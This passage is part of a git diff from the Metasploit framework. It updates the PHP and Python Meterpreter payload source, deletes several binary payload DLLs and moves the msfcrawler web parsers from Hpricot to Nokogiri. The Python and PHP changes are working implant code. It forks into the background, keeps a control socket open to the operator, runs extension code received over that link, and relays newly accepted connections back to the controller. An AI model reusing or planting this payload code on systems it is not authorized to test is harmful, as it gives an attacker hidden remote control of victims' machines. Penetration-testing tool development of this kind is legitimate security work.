table_data[ctypes.sizeof(MIB_IPADDRROW):] + iface_info['index'] = addrrow.dwIndex + iface_info['addrs'] = [(socket.AF_INET, struct.pack('> 32) & 0xFFFFFFFF; + $lo = $tlv['value'] & 0xFFFFFFFF; + $ret = pack("NNNN", 8 + 8, $tlv['type'], $hi, $lo); + } elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { $ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']); } @@ -686,10 +692,17 @@ function tlv_unpack($raw_tlv) { my_print("len: {$tlv['len']}, type: {$tlv['type']}"); if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { $tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len'])); + # PHP 5.5.0 modifed the 'a' unpack format to stop removing the trailing + # NULL, so catch that here + $tlv['value'] = str_replace("\0", "", $tlv['value']); } elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { $tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len'])); } + elseif (($type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) { + $tlv = unpack("Nlen/Ntype/Nhi/Nlo", substr($raw_tlv, 0, $tlv['len'])); + $tlv['value'] = $tlv['hi'] << 32 | $tlv['lo']; + } elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { $tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len'])); } @@ -911,7 +924,8 @@ function read($resource, $len=null) { $r = Array($resource); my_print("Calling select to see if there's data on $resource"); while (true) { - $cnt = stream_select($r, $w=NULL, $e=NULL, 0); + $w=NULL;$e=NULL;$t=0; + $cnt = stream_select($r, $w, $e, $t); # Stream is not ready to read, have to live with what we've gotten # so far @@ -1147,7 +1161,8 @@ add_reader($msgsock); # Main dispatch loop # $r=$GLOBALS['readers']; -while (false !== ($cnt = select($r, $w=null, $e=null, 1))) { +$w=NULL;$e=NULL;$t=1; +while (false !== ($cnt = select($r, $w, $e, $t))) { #my_print(sprintf("Returned from select with %s readers", count($r))); $read_failed = false; for ($i = 0; $i < $cnt; $i++) { diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 211d9f94c3..693f83a3c5 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -1,6 +1,5 @@ #!/usr/bin/python import code -import ctypes import os import random import select @@ -9,15 +8,33 @@ import struct import subprocess import sys import threading +import time +import traceback -has_windll = hasattr(ctypes, 'windll') +try: + import ctypes +except ImportError: + has_windll = False +else: + has_windll = hasattr(ctypes, 'windll') + +if sys.version_info[0] < 3: + is_bytes = lambda obj: issubclass(obj.__class__, str) + bytes = lambda *args: str(*args[:1]) + NULL_BYTE = '\x00' +else: + is_bytes = lambda obj: issubclass(obj.__class__, bytes) + str = lambda x: __builtins__['str'](x, 'UTF-8') + NULL_BYTE = bytes('\x00', 'UTF-8') # # Constants # -PACKET_TYPE_REQUEST = 0 -PACKET_TYPE_RESPONSE = 1 -PACKET_TYPE_PLAIN_REQUEST = 10 +DEBUGGING = False + +PACKET_TYPE_REQUEST = 0 +PACKET_TYPE_RESPONSE = 1 +PACKET_TYPE_PLAIN_REQUEST = 10 PACKET_TYPE_PLAIN_RESPONSE = 11 ERROR_SUCCESS = 0 @@ -25,92 +42,105 @@ ERROR_SUCCESS = 0 ERROR_FAILURE = 1 CHANNEL_CLASS_BUFFERED = 0 -CHANNEL_CLASS_STREAM = 1 +CHANNEL_CLASS_STREAM = 1 CHANNEL_CLASS_DATAGRAM = 2 -CHANNEL_CLASS_POOL = 3 +CHANNEL_CLASS_POOL = 3 # # TLV Meta Types # -TLV_META_TYPE_NONE = ( 0 ) -TLV_META_TYPE_STRING = (1 << 16) -TLV_META_TYPE_UINT = (1 << 17) -TLV_META_TYPE_RAW = (1 << 18) -TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_NONE = ( 0 ) +TLV_META_TYPE_STRING = (1 << 16) +TLV_META_TYPE_UINT = (1 << 17) +TLV_META_TYPE_RAW = (1 << 18) +TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_QWORD = (1 << 20) TLV_META_TYPE_COMPRESSED = (1 << 29) -TLV_META_TYPE_GROUP = (1 << 30) -TLV_META_TYPE_COMPLEX = (1 << 31) +TLV_META_TYPE_GROUP = (1 << 30) +TLV_META_TYPE_COMPLEX = (1 << 31) # not defined in original -TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) +TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) # # TLV base starting points # -TLV_RESERVED = 0 +TLV_RESERVED = 0 TLV_EXTENSIONS = 20000 -TLV_USER = 40000 -TLV_TEMP = 60000 +TLV_USER = 40000 +TLV_TEMP = 60000 # # TLV Specific Types # -TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 -TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 -TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 -TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 -TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 +TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 +TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 +TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 +TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 +TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 -TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 -TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 -TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 +TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 +TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 +TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 -TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 -TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 -TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 +TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 +TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 +TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 -TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 -TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 -TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 -TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 -TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 +TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 +TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 +TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 +TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 +TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 +TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55 -TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70 -TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71 -TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72 +TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70 +TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71 +TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72 -TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300 -TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301 +TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300 +TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301 -TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 -TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 -TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 -TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 +TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 +TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 +TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 +TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 -TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 -TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 +TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 +TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 + +TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 +TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501 +TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502 +TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503 + +EXPORTED_SYMBOLS = {} +EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING + +def export(symbol): + EXPORTED_SYMBOLS[symbol.__name__] = symbol + return symbol def generate_request_id(): chars = 'abcdefghijklmnopqrstuvwxyz' - return ''.join(random.choice(chars) for x in xrange(32)) + return ''.join(random.choice(chars) for x in range(32)) -def packet_get_tlv(pkt, tlv_type): - offset = 0 - while (offset < len(pkt)): - tlv = struct.unpack('>II', pkt[offset:offset+8]) - if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type: - val = pkt[offset+8:(offset+8+(tlv[0] - 8))] - if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - val = val.split('\x00', 1)[0] - elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: - val = struct.unpack('>I', val)[0] - elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: - val = bool(struct.unpack('b', val)[0]) - elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: - pass - return {'type':tlv[1], 'length':tlv[0], 'value':val} - offset += tlv[0] - return {} +@export +def inet_pton(family, address): + if hasattr(socket, 'inet_pton'): + return socket.inet_pton(family, address) + elif has_windll: + WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA + lpAddress = (ctypes.c_ubyte * 28)() + lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress)) + if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0: + raise Exception('WSAStringToAddress failed') + if family == socket.AF_INET: + return ''.join(map(chr, lpAddress[4:8])) + elif family == socket.AF_INET6: + return ''.join(map(chr, lpAddress[8:24])) + raise Exception('no suitable inet_pton functionality is available') +@export def packet_enum_tlvs(pkt, tlv_type = None): offset = 0 while (offset < len(pkt)): @@ -118,9 +148,11 @@ def packet_enum_tlvs(pkt, tlv_type = None): if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type): val = pkt[offset+8:(offset+8+(tlv[0] - 8))] if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - val = val.split('\x00', 1)[0] + val = str(val.split(NULL_BYTE, 1)[0]) elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: val = struct.unpack('>I', val)[0] + elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD: + val = struct.unpack('>Q', val)[0] elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: val = bool(struct.unpack('b', val)[0]) elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: @@ -129,63 +161,108 @@ def packet_enum_tlvs(pkt, tlv_type = None): offset += tlv[0] raise StopIteration() +@export +def packet_get_tlv(pkt, tlv_type): + try: + tlv = list(packet_enum_tlvs(pkt, tlv_type))[0] + except IndexError: + return {} + return tlv + +@export def tlv_pack(*args): if len(args) == 2: tlv = {'type':args[0], 'value':args[1]} else: tlv = args[0] data = "" - if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00' - elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: + if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: data = struct.pack('>III', 12, tlv['type'], tlv['value']) + elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD: + data = struct.pack('>IIQ', 16, tlv['type'], tlv['value']) elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: - data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value']))) - elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: - data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] - elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: - data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] - elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: - data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] + data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8') + else: + value = tlv['value'] + if not is_bytes(value): + value = bytes(value, 'UTF-8') + if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: + data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE + elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: + data = struct.pack('>II', 8 + len(value), tlv['type']) + value + elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: + data = struct.pack('>II', 8 + len(value), tlv['type']) + value + elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: + data = struct.pack('>II', 8 + len(value), tlv['type']) + value return data +#@export +class MeterpreterFile(object): + def __init__(self, file_obj): + self.file_obj = file_obj + + def __getattr__(self, name): + return getattr(self.file_obj, name) +export(MeterpreterFile) + +#@export +class MeterpreterSocket(object): + def __init__(self, sock): + self.sock = sock + + def __getattr__(self, name): + return getattr(self.sock, name) +export(MeterpreterSocket) + +#@export +class MeterpreterSocketClient(MeterpreterSocket): + pass +export(MeterpreterSocketClient) + +#@export +class MeterpreterSocketServer(MeterpreterSocket): + pass +export(MeterpreterSocketServer) + class STDProcessBuffer(threading.Thread): def __init__(self, std, is_alive): threading.Thread.__init__(self) self.std = std self.is_alive = is_alive - self.data = '' + self.data = bytes() self.data_lock = threading.RLock() def run(self): - while self.is_alive(): - byte = self.std.read(1) + for byte in iter(lambda: self.std.read(1), bytes()): self.data_lock.acquire() self.data += byte self.data_lock.release() - data = self.std.read() - self.data_lock.acquire() - self.data += data - self.data_lock.release() def is_read_ready(self): return len(self.data) != 0 - def read(self, l = None): - data = '' + def peek(self, l = None): + data = bytes() self.data_lock.acquire() if l == None: data = self.data - self.data = '' else: data = self.data[0:l] - self.data = self.data[l:] self.data_lock.release() return data + def read(self, l = None): + self.data_lock.acquire() + data = self.peek(l) + self.data = self.data[len(data):] + self.data_lock.release() + return data + +#@export class STDProcess(subprocess.Popen): def __init__(self, *args, **kwargs): subprocess.Popen.__init__(self, *args, **kwargs) + self.echo_protection = False def start(self): self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) @@ -193,6 +270,19 @@ class STDProcess(subprocess.Popen): self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) self.stderr_reader.start() + def write(self, channel_data): + self.stdin.write(channel_data) + self.stdin.flush() + if self.echo_protection: + end_time = time.time() + 0.5 + out_data = bytes() + while (time.time() < end_time) and (out_data != channel_data): + if self.stdout_reader.is_read_ready(): + out_data = self.stdout_reader.peek(len(channel_data)) + if out_data == channel_data: + self.stdout_reader.read(len(channel_data)) +export(STDProcess) + class PythonMeterpreter(object): def __init__(self, socket): self.socket = socket @@ -200,18 +290,21 @@ class PythonMeterpreter(object): self.channels = {} self.interact_channels = [] self.processes = {} - for func in filter(lambda x: x.startswith('_core'), dir(self)): + for func in list(filter(lambda x: x.startswith('_core'), dir(self))): self.extension_functions[func[1:]] = getattr(self, func) self.running = True def register_function(self, func): self.extension_functions[func.__name__] = func + return func def register_function_windll(self, func): if has_windll: self.register_function(func) + return func def add_channel(self, channel): + assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket))) idx = 0 while idx in self.channels: idx += 1 @@ -233,36 +326,52 @@ class PythonMeterpreter(object): break req_length, req_type = struct.unpack('>II', request) req_length -= 8 - request = '' + request = bytes() while len(request) < req_length: request += self.socket.recv(4096) response = self.create_response(request) self.socket.send(response) else: channels_for_removal = [] - channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed + # iterate over the keys because self.channels could be modified if one is closed + channel_ids = list(self.channels.keys()) for channel_id in channel_ids: channel = self.channels[channel_id] - data = '' + data = bytes() if isinstance(channel, STDProcess): if not channel_id in self.interact_channels: continue - if channel.stdout_reader.is_read_ready(): - data = channel.stdout_reader.read() - elif channel.stderr_reader.is_read_ready(): + if channel.stderr_reader.is_read_ready(): data = channel.stderr_reader.read() + elif channel.stdout_reader.is_read_ready(): + data = channel.stdout_reader.read() elif channel.poll() != None: self.handle_dead_resource_channel(channel_id) - elif isinstance(channel, socket._socketobject): + elif isinstance(channel, MeterpreterSocketClient): while len(select.select([channel.fileno()], [], [], 0)[0]): try: d = channel.recv(1) except socket.error: - d = '' + d = bytes() if len(d) == 0: self.handle_dead_resource_channel(channel_id) break data += d + elif isinstance(channel, MeterpreterSocketServer): + if len(select.select([channel.fileno()], [], [], 0)[0]): + (client_sock, client_addr) = channel.accept() + server_addr = channel.getsockname() + client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock)) + pkt = struct.pack('>I', PACKET_TYPE_REQUEST) + pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open') + pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id) + pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id) + pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0])) + pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1]) + pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0])) + pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1]) + pkt = struct.pack('>I', len(pkt) + 4) + pkt + self.socket.send(pkt) if data: pkt = struct.pack('>I', PACKET_TYPE_REQUEST) pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write') @@ -288,11 +397,13 @@ class PythonMeterpreter(object): data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: return ERROR_FAILURE - preloadlib_methods = self.extension_functions.keys() - i = code.InteractiveInterpreter({'meterpreter':self, 'packet_enum_tlvs':packet_enum_tlvs, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess}) + preloadlib_methods = list(self.extension_functions.keys()) + symbols_for_extensions = {'meterpreter':self} + symbols_for_extensions.update(EXPORTED_SYMBOLS) + i = code.InteractiveInterpreter(symbols_for_extensions) i.runcode(compile(data_tlv['value'], '', 'exec')) - postloadlib_methods = self.extension_functions.keys() - new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods) + postloadlib_methods = list(self.extension_functions.keys()) + new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods)) for method in new_methods: response += tlv_pack(TLV_TYPE_METHOD, method) return ERROR_SUCCESS, response @@ -304,7 +415,7 @@ class PythonMeterpreter(object): def _core_channel_open(self, request, response): channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE) - handler = 'channel_create_' + channel_type['value'] + handler = 'channel_open_' + channel_type['value'] if handler not in self.extension_functions: return ERROR_FAILURE, response handler = self.extension_functions[handler] @@ -315,11 +426,11 @@ class PythonMeterpreter(object): if channel_id not in self.channels: return ERROR_FAILURE, response channel = self.channels[channel_id] - if isinstance(channel, file): - channel.close() - elif isinstance(channel, subprocess.Popen): + if isinstance(channel, subprocess.Popen): channel.kill() - elif isinstance(s, socket._socketobject): + elif isinstance(channel, MeterpreterFile): + channel.close() + elif isinstance(channel, MeterpreterSocket): channel.close() else: return ERROR_FAILURE, response @@ -334,8 +445,8 @@ class PythonMeterpreter(object): return ERROR_FAILURE, response channel = self.channels[channel_id] result = False - if isinstance(channel, file): - result = channel.tell() == os.fstat(channel.fileno()).st_size + if isinstance(channel, MeterpreterFile): + result = channel.tell() >= os.fstat(channel.fileno()).st_size response += tlv_pack(TLV_TYPE_BOOL, result) return ERROR_SUCCESS, response @@ -361,14 +472,14 @@ class PythonMeterpreter(object): return ERROR_FAILURE, response channel = self.channels[channel_id] data = '' - if isinstance(channel, file): - data = channel.read(length) - elif isinstance(channel, STDProcess): + if isinstance(channel, STDProcess): if channel.poll() != None: self.handle_dead_resource_channel(channel_id) if channel.stdout_reader.is_read_ready(): data = channel.stdout_reader.read(length) - elif isinstance(s, socket._socketobject): + elif isinstance(channel, MeterpreterFile): + data = channel.read(length) + elif isinstance(channel, MeterpreterSocket): data = channel.recv(length) else: return ERROR_FAILURE, response @@ -383,14 +494,14 @@ class PythonMeterpreter(object): return ERROR_FAILURE, response channel = self.channels[channel_id] l = len(channel_data) - if isinstance(channel, file): - channel.write(channel_data) - elif isinstance(channel, subprocess.Popen): + if isinstance(channel, subprocess.Popen): if channel.poll() != None: self.handle_dead_resource_channel(channel_id) return ERROR_FAILURE, response - channel.stdin.write(channel_data) - elif isinstance(s, socket._socketobject): + channel.write(channel_data) + elif isinstance(channel, MeterpreterFile): + channel.write(channel_data) + elif isinstance(channel, MeterpreterSocket): try: l = channel.send(channel_data) except socket.error: @@ -414,13 +525,17 @@ class PythonMeterpreter(object): if handler_name in self.extension_functions: handler = self.extension_functions[handler_name] try: - #print("[*] running method {0}".format(handler_name)) + if DEBUGGING: + print('[*] running method ' + handler_name) result, resp = handler(request, resp) - except Exception, err: - #print("[-] method {0} resulted in an error".format(handler_name)) + except Exception: + if DEBUGGING: + print('[-] method ' + handler_name + ' resulted in an error') + traceback.print_exc(file=sys.stderr) result = ERROR_FAILURE else: - #print("[-] method {0} was requested but does not exist".format(handler_name)) + if DEBUGGING: + print('[-] method ' + handler_name + ' was requested but does not exist') result = ERROR_FAILURE resp += tlv_pack(TLV_TYPE_RESULT, result) resp = struct.pack('>I', len(resp) + 4) + resp @@ -428,6 +543,9 @@ class PythonMeterpreter(object): if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): if hasattr(os, 'setsid'): - os.setsid() + try: + os.setsid() + except OSError: + pass met = PythonMeterpreter(s) met.run() diff --git a/data/meterpreter/metsrv.x64.dll b/data/meterpreter/metsrv.x64.dll deleted file mode 100755 index 6dc9743a18..0000000000 Binary files a/data/meterpreter/metsrv.x64.dll and /dev/null differ diff --git a/data/meterpreter/metsrv.x86.dll b/data/meterpreter/metsrv.x86.dll deleted file mode 100755 index aeb272a4b6..0000000000 Binary files a/data/meterpreter/metsrv.x86.dll and /dev/null differ diff --git a/data/meterpreter/msflinker_linux_x86.bin b/data/meterpreter/msflinker_linux_x86.bin index 2d3eaeacc4..b9e54612a9 100644 Binary files a/data/meterpreter/msflinker_linux_x86.bin and b/data/meterpreter/msflinker_linux_x86.bin differ diff --git a/data/meterpreter/screenshot.x64.dll b/data/meterpreter/screenshot.x64.dll deleted file mode 100755 index 5b95b74cd4..0000000000 Binary files a/data/meterpreter/screenshot.x64.dll and /dev/null differ diff --git a/data/meterpreter/screenshot.x86.dll b/data/meterpreter/screenshot.x86.dll deleted file mode 100755 index 1b47d33810..0000000000 Binary files a/data/meterpreter/screenshot.x86.dll and /dev/null differ diff --git a/data/msfcrawler/basic.rb b/data/msfcrawler/basic.rb index 467cf6807b..759e0459c6 100755 --- a/data/msfcrawler/basic.rb +++ b/data/msfcrawler/basic.rb @@ -13,7 +13,7 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerSimple < BaseParser @@ -24,23 +24,20 @@ class CrawlerSimple < BaseParser return end - doc = Hpricot(result.body.to_s) - doc.search('a').each do |link| - - hr = link.attributes['href'] - - if hr and !hr.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',hr,request['uri'],nil) - - insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" + # doc = Hpricot(result.body.to_s) + doc = Nokogiri::HTML(result.body.to_s) + doc.css('a').each do |anchor_tag| + hr = anchor_tag['href'] + if hr && !hr.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET', hr, request['uri'], nil) + insertnewpath(hreq) + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" + end end end - end end end diff --git a/data/msfcrawler/forms.rb b/data/msfcrawler/forms.rb index e5cd23b556..b0c48e1472 100755 --- a/data/msfcrawler/forms.rb +++ b/data/msfcrawler/forms.rb @@ -13,7 +13,7 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerForms < BaseParser @@ -27,49 +27,30 @@ class CrawlerForms < BaseParser hr = '' m = '' - doc = Hpricot(result.body.to_s) - doc.search('form').each do |f| - hr = f.attributes['action'] + doc = Nokogiri::HTML(result.body.to_s) + doc.css('form').each do |f| + hr = f['action'] - fname = f.attributes['name'] - if fname.empty? - fname = "NONE" - end + fname = f['name'] + fname = "NONE" if fname.empty? - m = "GET" - if !f.attributes['method'].empty? - m = f.attributes['method'].upcase - end + m = f['method'].empty? ? 'GET' : f['method'].upcase - #puts "Parsing form name: #{fname} (#{m})" - - htmlform = Hpricot(f.inner_html) + htmlform = Nokogiri::HTML(f.inner_html) arrdata = [] - htmlform.search('input').each do |p| - #puts p.attributes['name'] - #puts p.attributes['type'] - #puts p.attributes['value'] - - #raw_request has uri_encoding disabled as it encodes '='. - arrdata << (p.attributes['name'] + "=" + Rex::Text.uri_encode(p.attributes['value'])) + htmlform.css('input').each do |p| + arrdata << "#{p['name']}=#{Rex::Text.uri_encode(p['value'])}" end data = arrdata.join("&").to_s - begin - hreq = urltohash(m,hr,request['uri'],data) - + hreq = urltohash(m, hr, request['uri'], data) hreq['ctype'] = 'application/x-www-form-urlencoded' - insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" end end end diff --git a/data/msfcrawler/frames.rb b/data/msfcrawler/frames.rb index c6d2cbe03a..5edfaec16f 100755 --- a/data/msfcrawler/frames.rb +++ b/data/msfcrawler/frames.rb @@ -9,33 +9,29 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerFrames < BaseParser def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + return unless result['Content-Type'].include?('text/html') - doc = Hpricot(result.body.to_s) - doc.search('iframe').each do |ifra| + doc = Nokogiri::HTML(result.body.to_s) + doc.css('iframe').each do |ifra| + ir = ifra['src'] - ir = ifra.attributes['src'] - - if ir and !ir.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',ir,request['uri'],nil) - - insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Error" + if ir && !ir.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET', ir, request['uri'], nil) + insertnewpath(hreq) + rescue URI::InvalidURIError + end end - end + end end + end diff --git a/data/msfcrawler/image.rb b/data/msfcrawler/image.rb index 0cc2aefb39..5e5d643637 100755 --- a/data/msfcrawler/image.rb +++ b/data/msfcrawler/image.rb @@ -10,33 +10,26 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerImage < BaseParser def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + return unless result['Content-Type'].include?('text/html') - doc = Hpricot(result.body.to_s) - doc.search('img').each do |i| - - im = i.attributes['src'] - - if im and !im.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',im,request['uri'],nil) - - insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{i[0]}" + doc = Nokogiri::HTML(result.body.to_s) + doc.css('img').each do |i| + im = i['src'] + if im && !im.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET', im, request['uri'], nil) + insertnewpath(hreq) + rescue URI::InvalidURIError + end end - end + end end end diff --git a/data/msfcrawler/link.rb b/data/msfcrawler/link.rb index 543fdad2c3..9cb7794ef0 100755 --- a/data/msfcrawler/link.rb +++ b/data/msfcrawler/link.rb @@ -10,33 +10,25 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerLink < BaseParser def parse(request,result) + return unless result['Content-Type'].include?('text/html') - if !result['Content-Type'].include? "text/html" - return - end - - doc = Hpricot(result.body.to_s) - doc.search('link').each do |link| - - hr = link.attributes['href'] - - if hr and !hr.match(/^(\#|javascript\:)/) - begin - hreq = 